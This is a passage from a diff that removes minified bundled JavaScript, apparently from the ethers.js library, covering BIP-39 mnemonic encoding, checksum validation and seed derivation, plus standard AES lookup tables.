I)IdeIghtImOgAyEakEelEmEpE*oI{IllIngO{Oma^O}OolOryO=Ra>gyReetRikeR#gRugg!Ud|UffUmb!Y!0Bje@Bm.BwayC)[ChDd&Ff G?G+,ItMm NNnyN'tP PplyP*meReRfa)R+Rpri'RroundR=ySpe@/a(1AllowAmpApArmE?EetIftImIngIt^Ord1MbolMptomRup/em:B!Ck!GIlL|LkNkPeR+tSk/eTtooXi3A^Am~NNGradeHoldOnP Set1BOng::Rd3Ar~ow9UUngU`:3BraRo9NeO", "0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60"); - } - static wordlist() { - return null == vg && (vg = new __g()), vg; - } - }; - function Qg(t2) { - return (1 << t2) - 1 << 8 - t2 & 255; - } - function bg(t2, e2) { - bn("NFKD"), null == e2 && (e2 = _g.wordlist()); - const r4 = e2.split(t2); - vn(r4.length % 3 == 0 && r4.length >= 12 && r4.length <= 24, "invalid mnemonic length", "mnemonic", "[ REDACTED ]"); - const n2 = new Uint8Array(Math.ceil(11 * r4.length / 8)); - let A2 = 0; - for (let t3 = 0; t3 < r4.length; t3++) { - let i3 = e2.getWordIndex(r4[t3].normalize("NFKD")); - vn(i3 >= 0, `invalid mnemonic word at index ${t3}`, "mnemonic", "[ REDACTED ]"); - for (let t4 = 0; t4 < 11; t4++) - i3 & 1 << 10 - t4 && (n2[A2 >> 3] |= 1 << 7 - A2 % 8), A2++; - } - const i2 = 32 * r4.length / 3, o2 = Qg(r4.length / 3); - return vn((Sn(zo(n2.slice(0, i2 / 8)))[0] & o2) === (n2[n2.length - 1] & o2), "invalid mnemonic checksum", "mnemonic", "[ REDACTED ]"), Pn(n2.slice(0, i2 / 8)); - } - function kg(t2, e2) { - vn(t2.length % 4 == 0 && t2.length >= 16 && t2.length <= 32, "invalid entropy size", "entropy", "[ REDACTED ]"), null == e2 && (e2 = _g.wordlist()); - const r4 = [0]; - let n2 = 11; - for (let e3 = 0; e3 < t2.length; e3++) - n2 > 8 ? (r4[r4.length - 1] <<= 8, r4[r4.length - 1] |= t2[e3], n2 -= 8) : (r4[r4.length - 1] <<= n2, r4[r4.length - 1] |= t2[e3] >> 8 - n2, r4.push(t2[e3] & ((1 << 8 - n2) - 1 & 255)), n2 += 3); - const A2 = t2.length / 4, i2 = parseInt(zo(t2).substring(2, 4), 16) & Qg(A2); - return r4[r4.length - 1] <<= A2, r4[r4.length - 1] |= i2 >> 8 - A2, e2.join(r4.map((t3) => e2.getWord(t3))); - } - var Dg = {}; - var Sg = class _Sg { - phrase; - password; - wordlist; - entropy; - constructor(t2, e2, r4, n2, A2) { - null == n2 && (n2 = ""), null == A2 && (A2 = _g.wordlist()), kn(t2, Dg, "Mnemonic"), yn(this, { phrase: r4, password: n2, wordlist: A2, entropy: e2 }); - } - computeSeed() { - const t2 = aA("mnemonic" + this.password, "NFKD"); - return Qo(aA(this.phrase, "NFKD"), t2, 2048, 64, "sha512"); - } - static fromPhrase(t2, e2, r4) { - const n2 = bg(t2, r4); - return t2 = kg(Sn(n2), r4), new _Sg(Dg, n2, t2, e2, r4); - } - static fromEntropy(t2, e2, r4) { - const n2 = Sn(t2, "entropy"), A2 = kg(n2, r4); - return new _Sg(Dg, Pn(n2), A2, e2, r4); - } - static entropyToPhrase(t2, e2) { - return kg(Sn(t2, "entropy"), e2); - } - static phraseToEntropy(t2, e2) { - return bg(t2, e2); - } - static isValidMnemonic(t2, e2) { - try { - return bg(t2, e2), true; - } catch (t3) { - } - return false; - } - }; - var Ng; - var Mg; - var xg; - var Fg = function(t2, e2, r4, n2) { - if ("a" === r4 && !n2) - throw new TypeError("Private accessor was defined without a getter"); - if ("function" == typeof e2 ? t2 !== e2 || !n2 : !e2.has(t2)) - throw new TypeError("Cannot read private member from an object whose class did not declare it"); - return "m" === r4 ? n2 : "a" === r4 ? n2.call(t2) : n2 ? n2.value : e2.get(t2); - }; - var Pg = function(t2, e2, r4, n2, A2) { - if ("m" === n2) - throw new TypeError("Private method is not writable"); - if ("a" === n2 && !A2) - throw new TypeError("Private accessor was defined without a setter"); - if ("function" == typeof e2 ? t2 !== e2 || !A2 : !e2.has(t2)) - throw new TypeError("Cannot write private member to an object whose class did not declare it"); - return "a" === n2 ? A2.call(t2, r4) : A2 ? A2.value = r4 : e2.set(t2, r4), r4; - }; - var Tg = { 16: 10, 24: 12, 32: 14 }; - var Rg = [1, 2, 4, 8, 16, 32, 64, 128, 27, 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, 145]; - var Ug = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]; - var Gg = [82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125]; - var Hg = [3328402341, 4168907908, 4000806809, 4135287693, 4294111757, 3597364157, 3731845041, 2445657428, 1613770832, 33620227, 3462883241, 1445669757, 3892248089, 3050821474, 1303096294, 3967186586, 2412431941, 528646813, 2311702848, 4202528135, 4026202645, 2992200171, 2387036105, 4226871307, 1101901292, 3017069671, 1604494077, 1169141738, 597466303, 1403299063, 3832705686, 2613100635, 1974974402, 3791519004, 1033081774, 1277568618, 1815492186, 2118074177, 4126668546, 2211236943, 1748251740, 1369810420, 3521504564, 4193382664, 3799085459, 2883115123, 1647391059, 706024767, 134480908, 2512897874, 1176707941, 2646852446, 806885416, 932615841, 168101135, 798661301, 235341577, 605164086, 461406363, 3756188221, 3454790438, 1311188841, 2142417613, 3933566367, 302582043, 495158174, 1479289972, 874125870, 907746093, 3698224818, 3025820398, 1537253627, 2756858614, 1983593293, 3084310113, 2108928974, 1378429307, 3722699582, 1580150641, 327451799, 2790478837, 3117535592, 0, 3253595436, 1075847264, 3825007647, 2041688520, 3059440621, 3563743934, 2378943302, 1740553945, 1916352843, 2487896798, 2555137236, 2958579944, 2244988746, 3151024235, 3320835882, 1336584933, 3992714006, 2252555205, 2588757463, 1714631509, 293963156, 2319795663, 3925473552, 67240454, 4269768577, 2689618160, 2017213508, 631218106, 1269344483, 2723238387, 1571005438, 2151694528, 93294474, 1066570413, 563977660, 1882732616, 4059428100, 1673313503, 2008463041, 2950355573, 1109467491, 537923632, 3858759450, 4260623118, 3218264685, 2177748300, 403442708, 638784309, 3287084079, 3193921505, 899127202, 2286175436, 773265209, 2479146071, 1437050866, 4236148354, 2050833735, 3362022572, 3126681063, 840505643, 3866325909, 3227541664, 427917720, 2655997905, 2749160575, 1143087718, 1412049534, 999329963, 193497219, 2353415882, 3354324521, 1807268051, 672404540, 2816401017, 3160301282, 369822493, 2916866934, 3688947771, 1681011286, 1949973070, 336202270, 2454276571, 201721354, 1210328172, 3093060836, 2680341085, 3184776046, 1135389935, 3294782118, 965841320, 831886756, 3554993207, 4068047243, 3588745010, 2345191491, 1849112409, 3664604599, 26054028, 2983581028, 2622377682, 1235855840, 3630984372, 2891339514, 4092916743, 3488279077, 3395642799, 4101667470, 1202630377, 268961816, 1874508501, 4034427016, 1243948399, 1546530418, 941366308, 1470539505, 1941222599, 2546386513, 3421038627, 2715671932, 3899946140, 1042226977, 2521517021, 1639824860, 227249030, 260737669, 3765465232, 2084453954, 1907733956, 3429263018, 2420656344, 100860677, 4160157185, 470683154, 3261161891, 1781871967, 2924959737, 1773779408, 394692241, 2579611992, 974986535, 664706745, 3655459128, 3958962195, 731420851, 571543859, 3530123707, 2849626480, 126783113, 865375399, 765172662, 1008606754, 361203602, 3387549984, 2278477385, 2857719295, 1344809080, 2782912378, 59542671, 1503764984, 160008576, 437062935, 1707065306, 3622233649, 2218934982, 3496503480, 2185314755, 697932208, 1512910199, 504303377, 2075177163, 2824099068, 1841019862, 739644986]; - var Lg = [2781242211, 2230877308, 2582542199, 2381740923, 234877682, 3184946027, 2984144751, 1418839493, 1348481072, 50462977, 2848876391, 2102799147, 434634494, 1656084439, 3863849899, 2599188086, 1167051466, 2636087938, 1082771913, 2281340285, 368048890, 3954334041, 3381544775, 201060592, 3963727277, 1739838676, 4250903202, 3930435503, 3206782108, 4149453988, 2531553906, 1536934080, 3262494647, 484572669, 2923271059, 1783375398, 1517041206, 1098792767, 49674231, 1334037708, 1550332980, 4098991525, 886171109, 150598129, 2481090929, 1940642008, 1398944049, 1059722517, 201851908, 1385547719, 1699095331, 1587397571, 674240536, 2704774806, 252314885, 3039795866, 151914247, 908333586, 2602270848, 1038082786, 651029483, 1766729511, 3447698098, 2682942837, 454166793, 2652734339, 1951935532, 775166490, 758520603, 3000790638, 4004797018, 4217086112, 4137964114, 1299594043, 1639438038, 3464344499, 2068982057, 1054729187, 1901997871, 2534638724, 4121318227, 1757008337, 0, 750906861, 1614815264, 535035132, 3363418545, 3988151131, 3201591914, 1183697867, 3647454910, 1265776953, 3734260298, 3566750796, 3903871064, 1250283471, 1807470800, 717615087, 3847203498, 384695291, 3313910595, 3617213773, 1432761139, 2484176261, 3481945413, 283769337, 100925954, 2180939647, 4037038160, 1148730428, 3123027871, 3813386408, 4087501137, 4267549603, 3229630528, 2315620239, 2906624658, 3156319645, 1215313976, 82966005, 3747855548, 3245848246, 1974459098, 1665278241, 807407632, 451280895, 251524083, 1841287890, 1283575245, 337120268, 891687699, 801369324, 3787349855, 2721421207, 3431482436, 959321879, 1469301956, 4065699751, 2197585534, 1199193405, 2898814052, 3887750493, 724703513, 2514908019, 2696962144, 2551808385, 3516813135, 2141445340, 1715741218, 2119445034, 2872807568, 2198571144, 3398190662, 700968686, 3547052216, 1009259540, 2041044702, 3803995742, 487983883, 1991105499, 1004265696, 1449407026, 1316239930, 504629770, 3683797321, 168560134, 1816667172, 3837287516, 1570751170, 1857934291, 4014189740, 2797888098, 2822345105, 2754712981, 936633572, 2347923833, 852879335, 1133234376, 1500395319, 3084545389, 2348912013, 1689376213, 3533459022, 3762923945, 3034082412, 4205598294, 133428468, 634383082, 2949277029, 2398386810, 3913789102, 403703816, 3580869306, 2297460856, 1867130149, 1918643758, 607656988, 4049053350, 3346248884, 1368901318, 600565992, 2090982877, 2632479860, 557719327, 3717614411, 3697393085, 2249034635, 2232388234, 2430627952, 1115438654, 3295786421, 2865522278, 3633334344, 84280067, 33027830, 303828494, 2747425121, 1600795957, 4188952407, 3496589753, 2434238086, 1486471617, 658119965, 3106381470, 953803233, 334231800, 3005978776, 857870609, 3151128937, 1890179545, 2298973838, 2805175444, 3056442267, 574365214, 2450884487, 550103529, 1233637070, 4289353045, 2018519080, 2057691103, 2399374476, 4166623649, 2148108681, 387583245, 3664101311, 836232934, 3330556482, 3100665960, 3280093505, 2955516313, 2002398509, 287182607, 3413881008, 4238890068, 3597515707, 975967766]; - var Og = [1671808611, 2089089148, 2006576759, 2072901243, 4061003762, 1807603307, 1873927791, 3310653893, 810573872, 16974337, 1739181671, 729634347, 4263110654, 3613570519, 2883997099, 1989864566, 3393556426, 2191335298, 3376449993, 2106063485, 4195741690, 1508618841, 1204391495, 4027317232, 2917941677, 3563566036, 2734514082, 2951366063, 2629772188, 2767672228, 1922491506, 3227229120, 3082974647, 4246528509, 2477669779, 644500518, 911895606, 1061256767, 4144166391, 3427763148, 878471220, 2784252325, 3845444069, 4043897329, 1905517169, 3631459288, 827548209, 356461077, 67897348, 3344078279, 593839651, 3277757891, 405286936, 2527147926, 84871685, 2595565466, 118033927, 305538066, 2157648768, 3795705826, 3945188843, 661212711, 2999812018, 1973414517, 152769033, 2208177539, 745822252, 439235610, 455947803, 1857215598, 1525593178, 2700827552, 1391895634, 994932283, 3596728278, 3016654259, 695947817, 3812548067, 795958831, 2224493444, 1408607827, 3513301457, 0, 3979133421, 543178784, 4229948412, 2982705585, 1542305371, 1790891114, 3410398667, 3201918910, 961245753, 1256100938, 1289001036, 1491644504, 3477767631, 3496721360, 4012557807, 2867154858, 4212583931, 1137018435, 1305975373, 861234739, 2241073541, 1171229253, 4178635257, 33948674, 2139225727, 1357946960, 1011120188, 2679776671, 2833468328, 1374921297, 2751356323, 1086357568, 2408187279, 2460827538, 2646352285, 944271416, 4110742005, 3168756668, 3066132406, 3665145818, 560153121, 271589392, 4279952895, 4077846003, 3530407890, 3444343245, 202643468, 322250259, 3962553324, 1608629855, 2543990167, 1154254916, 389623319, 3294073796, 2817676711, 2122513534, 1028094525, 1689045092, 1575467613, 422261273, 1939203699, 1621147744, 2174228865, 1339137615, 3699352540, 577127458, 712922154, 2427141008, 2290289544, 1187679302, 3995715566, 3100863416, 339486740, 3732514782, 1591917662, 186455563, 3681988059, 3762019296, 844522546, 978220090, 169743370, 1239126601, 101321734, 611076132, 1558493276, 3260915650, 3547250131, 2901361580, 1655096418, 2443721105, 2510565781, 3828863972, 2039214713, 3878868455, 3359869896, 928607799, 1840765549, 2374762893, 3580146133, 1322425422, 2850048425, 1823791212, 1459268694, 4094161908, 3928346602, 1706019429, 2056189050, 2934523822, 135794696, 3134549946, 2022240376, 628050469, 779246638, 472135708, 2800834470, 3032970164, 3327236038, 3894660072, 3715932637, 1956440180, 522272287, 1272813131, 3185336765, 2340818315, 2323976074, 1888542832, 1044544574, 3049550261, 1722469478, 1222152264, 50660867, 4127324150, 236067854, 1638122081, 895445557, 1475980887, 3117443513, 2257655686, 3243809217, 489110045, 2662934430, 3778599393, 4162055160, 2561878936, 288563729, 1773916777, 3648039385, 2391345038, 2493985684, 2612407707, 505560094, 2274497927, 3911240169, 3460925390, 1442818645, 678973480, 3749357023, 2358182796, 2717407649, 2306869641, 219617805, 3218761151, 3862026214, 1120306242, 1756942440, 1103331905, 2578459033, 762796589, 252780047, 2966125488, 1425844308, 3151392187, 372911126]; - var Yg = [1667474886, 2088535288, 2004326894, 2071694838, 4075949567, 1802223062, 1869591006, 3318043793, 808472672, 16843522, 1734846926, 724270422, 4278065639, 3621216949, 2880169549, 1987484396, 3402253711, 2189597983, 3385409673, 2105378810, 4210693615, 1499065266, 1195886990, 4042263547, 2913856577, 3570689971, 2728590687, 2947541573, 2627518243, 2762274643, 1920112356, 3233831835, 3082273397, 4261223649, 2475929149, 640051788, 909531756, 1061110142, 4160160501, 3435941763, 875846760, 2779116625, 3857003729, 4059105529, 1903268834, 3638064043, 825316194, 353713962, 67374088, 3351728789, 589522246, 3284360861, 404236336, 2526454071, 84217610, 2593830191, 117901582, 303183396, 2155911963, 3806477791, 3958056653, 656894286, 2998062463, 1970642922, 151591698, 2206440989, 741110872, 437923380, 454765878, 1852748508, 1515908788, 2694904667, 1381168804, 993742198, 3604373943, 3014905469, 690584402, 3823320797, 791638366, 2223281939, 1398011302, 3520161977, 0, 3991743681, 538992704, 4244381667, 2981218425, 1532751286, 1785380564, 3419096717, 3200178535, 960056178, 1246420628, 1280103576, 1482221744, 3486468741, 3503319995, 4025428677, 2863326543, 4227536621, 1128514950, 1296947098, 859002214, 2240123921, 1162203018, 4193849577, 33687044, 2139062782, 1347481760, 1010582648, 2678045221, 2829640523, 1364325282, 2745433693, 1077985408, 2408548869, 2459086143, 2644360225, 943212656, 4126475505, 3166494563, 3065430391, 3671750063, 555836226, 269496352, 4294908645, 4092792573, 3537006015, 3452783745, 202118168, 320025894, 3974901699, 1600119230, 2543297077, 1145359496, 387397934, 3301201811, 2812801621, 2122220284, 1027426170, 1684319432, 1566435258, 421079858, 1936954854, 1616945344, 2172753945, 1330631070, 3705438115, 572679748, 707427924, 2425400123, 2290647819, 1179044492, 4008585671, 3099120491, 336870440, 3739122087, 1583276732, 185277718, 3688593069, 3772791771, 842159716, 976899700, 168435220, 1229577106, 101059084, 606366792, 1549591736, 3267517855, 3553849021, 2897014595, 1650632388, 2442242105, 2509612081, 3840161747, 2038008818, 3890688725, 3368567691, 926374254, 1835907034, 2374863873, 3587531953, 1313788572, 2846482505, 1819063512, 1448540844, 4109633523, 3941213647, 1701162954, 2054852340, 2930698567, 134748176, 3132806511, 2021165296, 623210314, 774795868, 471606328, 2795958615, 3031746419, 3334885783, 3907527627, 3722280097, 1953799400, 522133822, 1263263126, 3183336545, 2341176845, 2324333839, 1886425312, 1044267644, 3048588401, 1718004428, 1212733584, 50529542, 4143317495, 235803164, 1633788866, 892690282, 1465383342, 3115962473, 2256965911, 3250673817, 488449850, 2661202215, 3789633753, 4177007595, 2560144171, 286339874, 1768537042, 3654906025, 2391705863, 2492770099, 2610673197, 505291324, 2273808917, 3924369609, 3469625735, 1431699370, 673740880, 3755965093, 2358021891, 2711746649, 2307489801, 218961690, 3217021541, 3873845719, 1111672452, 1751693520, 1094828930, 2576986153, 757954394, 252645662, 2964376443, 1414855848, 3149649517, 370555436]; - var Kg = [1374988112, 2118214995, 437757123, 975658646, 1001089995, 530400753, 2902087851, 1273168787, 540080725, 2910219766, 2295101073, 4110568485, 1340463100, 3307916247, 641025152, 3043140495, 3736164937, 632953703, 1172967064, 1576976609, 3274667266, 2169303058, 2370213795, 1809054150, 59727847, 361929877, 3211623147, 2505202138, 3569255213, 1484005843, 1239443753, 2395588676, 1975683434, 4102977912, 2572697195, 666464733, 3202437046, 4035489047, 3374361702, 2110667444, 1675577880, 3843699074, 2538681184, 1649639237, 2976151520, 3144396420, 4269907996, 4178062228, 1883793496, 2403728665, 2497604743, 1383856311, 2876494627, 1917518562, 3810496343, 1716890410, 3001755655, 800440835, 2261089178, 3543599269, 807962610, 599762354, 33778362, 3977675356, 2328828971, 2809771154, 4077384432, 1315562145, 1708848333, 101039829, 3509871135, 3299278474, 875451293, 2733856160, 92987698, 2767645557, 193195065, 1080094634, 1584504582, 3178106961, 1042385657, 2531067453, 3711829422, 1306967366, 2438237621, 1908694277, 67556463, 1615861247, 429456164, 3602770327, 2302690252, 1742315127, 2968011453, 126454664, 3877198648, 2043211483, 2709260871, 2084704233, 4169408201, 0, 159417987, 841739592, 504459436, 1817866830, 4245618683, 260388950, 1034867998, 908933415, 168810852, 1750902305, 2606453969, 607530554, 202008497, 2472011535, 3035535058, 463180190, 2160117071, 1641816226, 1517767529, 470948374, 3801332234, 3231722213, 1008918595, 303765277, 235474187, 4069246893, 766945465, 337553864, 1475418501, 2943682380, 4003061179, 2743034109, 4144047775, 1551037884, 1147550661, 1543208500, 2336434550, 3408119516, 3069049960, 3102011747, 3610369226, 1113818384, 328671808, 2227573024, 2236228733, 3535486456, 2935566865, 3341394285, 496906059, 3702665459, 226906860, 2009195472, 733156972, 2842737049, 294930682, 1206477858, 2835123396, 2700099354, 1451044056, 573804783, 2269728455, 3644379585, 2362090238, 2564033334, 2801107407, 2776292904, 3669462566, 1068351396, 742039012, 1350078989, 1784663195, 1417561698, 4136440770, 2430122216, 775550814, 2193862645, 2673705150, 1775276924, 1876241833, 3475313331, 3366754619, 270040487, 3902563182, 3678124923, 3441850377, 1851332852, 3969562369, 2203032232, 3868552805, 2868897406, 566021896, 4011190502, 3135740889, 1248802510, 3936291284, 699432150, 832877231, 708780849, 3332740144, 899835584, 1951317047, 4236429990, 3767586992, 866637845, 4043610186, 1106041591, 2144161806, 395441711, 1984812685, 1139781709, 3433712980, 3835036895, 2664543715, 1282050075, 3240894392, 1181045119, 2640243204, 25965917, 4203181171, 4211818798, 3009879386, 2463879762, 3910161971, 1842759443, 2597806476, 933301370, 1509430414, 3943906441, 3467192302, 3076639029, 3776767469, 2051518780, 2631065433, 1441952575, 404016761, 1942435775, 1408749034, 1610459739, 3745345300, 2017778566, 3400528769, 3110650942, 941896748, 3265478751, 371049330, 3168937228, 675039627, 4279080257, 967311729, 135050206, 3635733660, 1683407248, 2076935265, 3576870512, 1215061108, 3501741890]; - var Jg = [1347548327, 1400783205, 3273267108, 2520393566, 3409685355, 4045380933, 2880240216, 2471224067, 1428173050, 4138563181, 2441661558, 636813900, 4233094615, 3620022987, 2149987652, 2411029155, 1239331162, 1730525723, 2554718734, 3781033664, 46346101, 310463728, 2743944855, 3328955385, 3875770207, 2501218972, 3955191162, 3667219033, 768917123, 3545789473, 692707433, 1150208456, 1786102409, 2029293177, 1805211710, 3710368113, 3065962831, 401639597, 1724457132, 3028143674, 409198410, 2196052529, 1620529459, 1164071807, 3769721975, 2226875310, 486441376, 2499348523, 1483753576, 428819965, 2274680428, 3075636216, 598438867, 3799141122, 1474502543, 711349675, 129166120, 53458370, 2592523643, 2782082824, 4063242375, 2988687269, 3120694122, 1559041666, 730517276, 2460449204, 4042459122, 2706270690, 3446004468, 3573941694, 533804130, 2328143614, 2637442643, 2695033685, 839224033, 1973745387, 957055980, 2856345839, 106852767, 1371368976, 4181598602, 1033297158, 2933734917, 1179510461, 3046200461, 91341917, 1862534868, 4284502037, 605657339, 2547432937, 3431546947, 2003294622, 3182487618, 2282195339, 954669403, 3682191598, 1201765386, 3917234703, 3388507166, 0, 2198438022, 1211247597, 2887651696, 1315723890, 4227665663, 1443857720, 507358933, 657861945, 1678381017, 560487590, 3516619604, 975451694, 2970356327, 261314535, 3535072918, 2652609425, 1333838021, 2724322336, 1767536459, 370938394, 182621114, 3854606378, 1128014560, 487725847, 185469197, 2918353863, 3106780840, 3356761769, 2237133081, 1286567175, 3152976349, 4255350624, 2683765030, 3160175349, 3309594171, 878443390, 1988838185, 3704300486, 1756818940, 1673061617, 3403100636, 272786309, 1075025698, 545572369, 2105887268, 4174560061, 296679730, 1841768865, 1260232239, 4091327024, 3960309330, 3497509347, 1814803222, 2578018489, 4195456072, 575138148, 3299409036, 446754879, 3629546796, 4011996048, 3347532110, 3252238545, 4270639778, 915985419, 3483825537, 681933534, 651868046, 2755636671, 3828103837, 223377554, 2607439820, 1649704518, 3270937875, 3901806776, 1580087799, 4118987695, 3198115200, 2087309459, 2842678573, 3016697106, 1003007129, 2802849917, 1860738147, 2077965243, 164439672, 4100872472, 32283319, 2827177882, 1709610350, 2125135846, 136428751, 3874428392, 3652904859, 3460984630, 3572145929, 3593056380, 2939266226, 824852259, 818324884, 3224740454, 930369212, 2801566410, 2967507152, 355706840, 1257309336, 4148292826, 243256656, 790073846, 2373340630, 1296297904, 1422699085, 3756299780, 3818836405, 457992840, 3099667487, 2135319889, 77422314, 1560382517, 1945798516, 788204353, 1521706781, 1385356242, 870912086, 325965383, 2358957921, 2050466060, 2388260884, 2313884476, 4006521127, 901210569, 3990953189, 1014646705, 1503449823, 1062597235, 2031621326, 3212035895, 3931371469, 1533017514, 350174575, 2256028891, 2177544179, 1052338372, 741876788, 1606591296, 1914052035, 213705253, 2334669897, 1107234197, 1899603969, 3725069491, 2631447780, 2422494913, 1635502980, 1893020342, 1950903388, 1120974935]; - var jg = [2807058932, 1699970625, 2764249623, 1586903591, 1808481195, 1173430173, 1487645946, 59984867, 4199882800, 1844882806, 1989249228, 1277555970, 3623636965, 3419915562, 1149249077, 2744104290, 1514790577, 459744698, 244860394, 3235995134, 1963115311, 4027744588, 2544078150, 4190530515, 1608975247, 2627016082, 2062270317, 1507497298, 2200818878, 567498868, 1764313568, 3359936201, 2305455554, 2037970062, 1047239e3, 1910319033, 1337376481, 2904027272, 2892417312, 984907214, 1243112415, 830661914, 861968209, 2135253587, 2011214180, 2927934315, 2686254721, 731183368, 1750626376, 4246310725, 1820824798, 4172763771, 3542330227, 48394827, 2404901663, 2871682645, 671593195, 3254988725, 2073724613, 145085239, 2280796200, 2779915199, 1790575107, 2187128086, 472615631, 3029510009, 4075877127, 3802222185, 4107101658, 3201631749, 1646252340, 4270507174, 1402811438, 1436590835, 3778151818, 3950355702, 3963161475, 4020912224, 2667994737, 273792366, 2331590177, 104699613, 95345982, 3175501286, 2377486676, 1560637892, 3564045318, 369057872, 4213447064, 3919042237, 1137477952, 2658625497, 1119727848, 2340947849, 1530455833, 4007360968, 172466556, 266959938, 516552836, 0, 2256734592, 3980931627, 1890328081, 1917742170, 4294704398, 945164165, 3575528878, 958871085, 3647212047, 2787207260, 1423022939, 775562294, 1739656202, 3876557655, 2530391278, 2443058075, 3310321856, 547512796, 1265195639, 437656594, 3121275539, 719700128, 3762502690, 387781147, 218828297, 3350065803, 2830708150, 2848461854, 428169201, 122466165, 3720081049, 1627235199, 648017665, 4122762354, 1002783846, 2117360635, 695634755, 3336358691, 4234721005, 4049844452, 3704280881, 2232435299, 574624663, 287343814, 612205898, 1039717051, 840019705, 2708326185, 793451934, 821288114, 1391201670, 3822090177, 376187827, 3113855344, 1224348052, 1679968233, 2361698556, 1058709744, 752375421, 2431590963, 1321699145, 3519142200, 2734591178, 188127444, 2177869557, 3727205754, 2384911031, 3215212461, 2648976442, 2450346104, 3432737375, 1180849278, 331544205, 3102249176, 4150144569, 2952102595, 2159976285, 2474404304, 766078933, 313773861, 2570832044, 2108100632, 1668212892, 3145456443, 2013908262, 418672217, 3070356634, 2594734927, 1852171925, 3867060991, 3473416636, 3907448597, 2614737639, 919489135, 164948639, 2094410160, 2997825956, 590424639, 2486224549, 1723872674, 3157750862, 3399941250, 3501252752, 3625268135, 2555048196, 3673637356, 1343127501, 4130281361, 3599595085, 2957853679, 1297403050, 81781910, 3051593425, 2283490410, 532201772, 1367295589, 3926170974, 895287692, 1953757831, 1093597963, 492483431, 3528626907, 1446242576, 1192455638, 1636604631, 209336225, 344873464, 1015671571, 669961897, 3375740769, 3857572124, 2973530695, 3747192018, 1933530610, 3464042516, 935293895, 3454686199, 2858115069, 1863638845, 3683022916, 4085369519, 3292445032, 875313188, 1080017571, 3279033885, 621591778, 1233856572, 2504130317, 24197544, 3017672716, 3835484340, 3247465558, 2220981195, 3060847922, 1551124588, 1463996600]; - var zg = [4104605777, 1097159550, 396673818, 660510266, 2875968315, 2638606623, 4200115116, 3808662347, 821712160, 1986918061, 3430322568, 38544885, 3856137295, 718002117, 893681702, 1654886325, 2975484382, 3122358053, 3926825029, 4274053469, 796197571, 1290801793, 1184342925, 3556361835, 2405426947, 2459735317, 1836772287, 1381620373, 3196267988, 1948373848, 3764988233, 3385345166, 3263785589, 2390325492, 1480485785, 3111247143, 3780097726, 2293045232, 548169417, 3459953789, 3746175075, 439452389, 1362321559, 1400849762, 1685577905, 1806599355, 2174754046, 137073913, 1214797936, 1174215055, 3731654548, 2079897426, 1943217067, 1258480242, 529487843, 1437280870, 3945269170, 3049390895, 3313212038, 923313619, 679998e3, 3215307299, 57326082, 377642221, 3474729866, 2041877159, 133361907, 1776460110, 3673476453, 96392454, 878845905, 2801699524, 777231668, 4082475170, 2330014213, 4142626212, 2213296395, 1626319424, 1906247262, 1846563261, 562755902, 3708173718, 1040559837, 3871163981, 1418573201, 3294430577, 114585348, 1343618912, 2566595609, 3186202582, 1078185097, 3651041127, 3896688048, 2307622919, 425408743, 3371096953, 2081048481, 1108339068, 2216610296, 0, 2156299017, 736970802, 292596766, 1517440620, 251657213, 2235061775, 2933202493, 758720310, 265905162, 1554391400, 1532285339, 908999204, 174567692, 1474760595, 4002861748, 2610011675, 3234156416, 3693126241, 2001430874, 303699484, 2478443234, 2687165888, 585122620, 454499602, 151849742, 2345119218, 3064510765, 514443284, 4044981591, 1963412655, 2581445614, 2137062819, 